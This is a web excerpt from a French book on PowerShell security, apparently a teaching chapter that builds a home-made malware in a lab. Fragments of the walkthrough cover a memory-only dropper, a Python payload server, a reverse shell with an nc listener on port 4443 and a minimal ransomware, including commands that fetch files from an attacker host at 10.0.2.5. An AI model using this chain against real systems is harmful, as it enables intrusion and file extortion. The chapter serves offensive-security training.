Blog ENI : Toute la veille numérique !
💥 Un livre PAPIER acheté
= La version EN LIGNE offerte pendant 1 an !
Accès illimité 24h/24 à tous nos livres & vidéos ! 
Découvrez la Bibliothèque Numérique ENI. Cliquez ici
  1. Livres et vidéos
  2. Cybersécurité et PowerShell
  3. Malware maison
Extrait - Cybersécurité et PowerShell De l'attaque à la défense du système d'information
Extraits du livre
Cybersécurité et PowerShell De l'attaque à la défense du système d'information
2 avis
Revenir à la page d'achat du livre

Malware maison

Introduction

Le chapitre précédent a présenté diverses techniques d’attaques isolées qui illustrent bien la diversité des cas d’usage possibles dans une optique malveillante. Dans ce chapitre, nous allons continuer de découvrir des techniques d’attaques mais en combinant différentes méthodes pour développer un embryon de malware simple, capable de communiquer avec un serveur de contrôle-commande (dit C&C), et de cryptolocker des fichiers sur la machine victime. De manière à rester uniquement en PowerShell, la méthode pour faire exécuter le code initial que l’on va développer ici ne sera pas abordée. Cette partie sera traitée dans le prochain chapitre avec l’incontournable macro office piégée. 

L’exercice consistant à recréer son propre malware est un entraînement indispensable et une étape quasi obligatoire pour toutes les équipes offensives, qu’elles soient bienveillantes (pentest, redteam, audit) ou malveillantes…

En effet, l’immense majorité des produits accessibles librement (projets aboutis disponibles sur Internet en PowerShell comme d’autres langages) sont déjà ou seront très rapidement reconnus par les mécanismes de protection des parcs informatiques avec les IPS et antivirus...

Comment est architecturé un malware ?

Les malwares d’il y a vingt ans, comme le fameux ILOVEYOU de l’an 2000, n’existent plus. Pour rappel, ce dernier consistait en un simple script vbs monobloc envoyé en pièce jointe de mail et dont « l’exploit » consistait à masquer son extension de fichier ; via une double extension ".txt.vbs" affichée incorrectement en ".txt" par Windows à l’époque… Il est estimé que ce petit programme aurait tout de même infecté 10 % des machines connectées à Internet de l’époque.

Cependant, en vingt ans, les malwares ont évolué et se sont complexifiés pour devenir de vrais logiciels spécialisés et séparés en plusieurs parties, chacune en charge d’un rôle bien particulier de l’attaque. On retrouve donc des codes spécialisés dans la compromission initiale, d’autres dans la collecte d’information ou le maintien et la fourniture d’accès. Cette approche segmentée permet de présenter de multiples codes, plus petits qu’un seul bloc monolithique, où chaque morceau est plus simple à modifier individuellement. L’autre avantage pour les malfaiteurs est que ces codes peuvent être développés et maintenus...

Étape 1 : le dropper Memory Only

Le dropper, c’est la tête de pont d’un virus. Très léger, il est le premier à être exécuté par la victime, et c’est lui qui lance la suite de l’attaque. La méthode pour amener la victime à exécuter la charge initiale sera abordée au prochain chapitre. La première étape du développement est ici de préparer un code PowerShell capable d’en télécharger un autre et d’exécuter ce dernier, idéalement sans écrire le fichier sur le disque de la victime et en travaillant donc uniquement en mémoire.

Pour cela, deux fonctions de téléchargement et d’exécution en .NET et PowerShell s’avèrent très utiles :

  • La classe .NET System.Net.WebClient, qui permet de télécharger un contenu web facilement.

  • La cmdlet Invoke-Expression, qui permet d’exécuter une chaîne de caractères donnée comme un code PowerShell.

Les premières lignes du dropper commenceront donc par télécharger un fichier à une URL donnée. Dans les dernières versions de PowerShell, il est possible d’utiliser la cmdlet Invoke-WebRequest :

Invoke-WebRequest -Uri http://10.0.2.5:8000/Ematete.zip -outfile 
"Ematete.zip" 

Mais malheureusement...

Étape 2 : le serveur de contenu

1. Serveur HTTP en Python

Avec le dropper précédent qui s’exécute sur une machine victime, il est donc possible de télécharger et d’exécuter un second code hébergé sur un serveur web distant de la machine victime. Dans les cas réels, les attaquants utilisent quasi systématiquement d’autres sites compromis au préalable, et différents de leur serveur de contrôle-commande, pour distribuer le code. Ici, c’est la machine attaquante qui devra jouer le rôle de l’ensemble de l’infrastructure de l’attaquant.

Sur une machine Linux, il existe un moyen très simple de proposer un serveur web avec Python 3 et le module http.server (ou SimpleHTTPServer en Python 2).

 Passez sur la machine Kali en tant que Sabine et exécutez la commande suivante dans un terminal :

$ python3 -m http.server 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 

 Vous pouvez contrôler son bon fonctionnement en vous connectant localement à la machine Kali avec le navigateur présent sur la distribution.

Serveur HTTP en Python

2. Serveur HTTP en PowerShell

Mais il est aussi possible de créer un simple serveur de contenu HTTP en PowerShell, néanmoins il n’existe a pas de module natif en PowerShell qui permette d’en mettre un en place aussi rapidement. On trouve...

Étape 3 : le C&C et le reverse shell

Le C&C (Control and Command) est l’infrastructure de contrôle d’un malware, c’est lui qui attend que les clients se connectent et il leur fournit des instructions. Dans cette section, il y a donc deux objets à étudier : le C&C d’une part et d’autre part le code exécuté sur la machine de la victime qui se connecte au C&C le reverse shell. Avant de les développer, il faut comprendre ce qu’est un reverse shell et revenir pour cela au chapitre Les attaquants et PowerShell dans la section qui définit un scan réseau. Celle-ci a abordé la manière dont s’établit un flux TCP, mais sans aborder une notion fondamentale en sécurité des systèmes d’information : le sens d’établissement de ces flux TCP.

En effet, quand bien même un flux TCP établi permet d’échanger des données dans les deux directions (c’est-à-dire du client vers le serveur, mais également du serveur vers le client), il n’y a bien qu’une seule des deux machines qui envoie le paquet SYN au départ ; on considère qu’elle est émettrice du flux TCP et donne ainsi aux flux une direction.

Au niveau des firewalls, ce sont bien souvent ces paquets SYN initiaux qui sont bloqués ou autorisés pour imposer la politique de sécurité sur le réseau. Pour tout ce qui touche aux flux d’administration, et de manière plus générale, il est d’ailleurs recommandé dans un système d’information que les flux ne puissent se diriger que vers des zones moins sensibles que la leur. On dit que les flux remontants sont proscrits. L’objectif est bien d’empêcher un attaquant de s’introduire dans des zones plus sensibles que les accès qu’il possède déjà.

Pour illustrer avec notre Lab, la machine Kali ecrins est dans une zone moins sensible que le SI de PSALPES derrière le firewall PfSense. Dans ce contexte, Sabine ne peut pas établir une connexion (envoyer un paquet SYN) vers les machines dans ce réseau, mais rien n’empêche les machines du réseau d’envoyer de se connecter vers Internet et vers la machine Kali....

Étape 4 : le ransomware

1. Chiffrement

Les ransomwares (rançongiciels en français pour rappel) sont devenus la menace principale ces dernières années, loin devant l’espionnage et les arnaques à la carte bancaire en ligne (qui n’ont pas diminué pour autant). Ces attaques ont en effet une bonne capacité de conversion en espèces sonnantes et trébuchantes (et sont bien moins aléatoires que les vols de données ou les menaces de dénis de service), car elles s’attaquent largement et sans distinction aux « données métiers » de l’entreprise, bloquant son fonctionnement et générant presque immédiatement une crise.

Dans ce contexte, il semble intéressant d’essayer de développer un ransomware minimaliste 100 % PowerShell à partir de notre reverse shell. Et comme le nom cryptolocker l’indique, il faut commencer par les bases d’un rançongiciel en cryptologie. En théorie, pour un ransomware, le chiffrement symétrique pourrait être suffisant si et seulement si l’attaquant s’assure de ne laisser absolument aucune trace de la clé de chiffrement sur la machine de la victime.

Dans la pratique, pour faire un « vrai » ransomware, il est beaucoup plus simple d’utiliser du chiffrement asymétrique tel que présenté lors du chapitre précédent. Le chiffrement asymétrique permet en effet de chiffrer avec une clé publique sur l’ordinateur de la victime, mais sans jamais exposer la clé privée qui permet le déchiffrement des données sur l’ordinateur cible. Cette technique garantit le verrouillage des fichiers.

Pour atteindre ce but, la première étape est donc de générer une bi-clé sur notre machine Kali, puis d’expédier la partie publique sur la machine de la victime et de chiffrer des fichiers avec cette dernière. La commande New-SelfSignedCertificate n’est pas disponible dans la console PowerShell sur la Kali Linux.

 Vous devez donc revenir à openssl, la commande classique sur Linux pour générer un certificat :

openssl req -x509 -sha256 -nodes -days 365 -newkey rsa:4096 
-keyout key.pem...

L’attaque, pas à pas

Le développement est terminé, cela peut paraître compliqué mais en vérité l’attaque en situation réelle tient dans la séquence ci-dessous.

Préparation sur le serveur de l’attaquant :

 Sur la machine Kali, lancez un serveur web de contenu sur la machine de l’attaquant :

$ python3 -m http.server 
  • Mettez à disposition le stage 2 PowerShell sur le serveur web avec le fichier ematete.ps1 dans une archive ZIP Ematete.zip (en plaçant le fichier directement dans le répertoire proposé par le serveur HTTP).

  • Mettez à disposition sur le serveur web le fichier du certificat contenant la clé publique RSA.

 Continuez sur Kali et lancez un listener en attente de reverse shell sur le port 4443 :

$ nc -lvp 4443 

Sur le poste Windows 10, exécutez le fichier dropper.ps1 sur la machine de la victime. Cette commande établit une connexion sur le reverse shell et permet de lancer la phase de rançongiciel depuis la machine Kali :

.\dropper.ps1 

 Depuis le reverse shell sur Kali, faites télécharger sur la machine le certificat pour le chiffrement :

Invoke-WebRequest -Uri http://10.0.2.5:8000/cert.pem -OutFile  
cert.pem 

 Puis injectez-le dans le magasin de l’utilisateur :

certutil -addstore -user -f "My" .\cert.pem 

 Depuis le reverse shell, exécutez...

Conclusion

Dans ce chapitre, nous avons vu comment développer un malware de type ransomware. Celui-ci peut, à partir d’un simple dropper de quelques lignes en PowerShell, télécharger et exécuter un code PowerShell hébergé sur un serveur distant. Ce deuxième étage (ou stage 2) établit un reverse shell sur un second canal de communication et donne la main à l’attaquant sur la machine de la victime presque comme si ce dernier était présent localement, tout en respectant un sens d’établissement du flux pour éviter les mécanismes de protection. Une fois son accès établi, l’attaquant réalise à la main un cryptolocker sur la machine.

À défaut d’être vraiment crédible, ce ransomware a l’intérêt d’être pédagogique. Il est en effet assez éloigné des techniques des ransomwares actuels. D’abord car, contrairement aux virus modernes, il ne bénéficie pas de multiples mécanismes d’obfuscation et de protection contre la rétro-ingénierie. Ensuite, il n’existe quasiment pas de malware 100 % PowerShell, la plupart font appel à un moment ou à un autre à un fichier exécutable, ou à un mécanisme de persistance ou d’élévation de privilèges...